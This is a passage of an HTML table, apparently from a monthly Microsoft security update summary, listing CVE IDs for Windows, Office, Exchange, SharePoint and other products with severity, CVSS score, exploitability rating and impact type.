  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
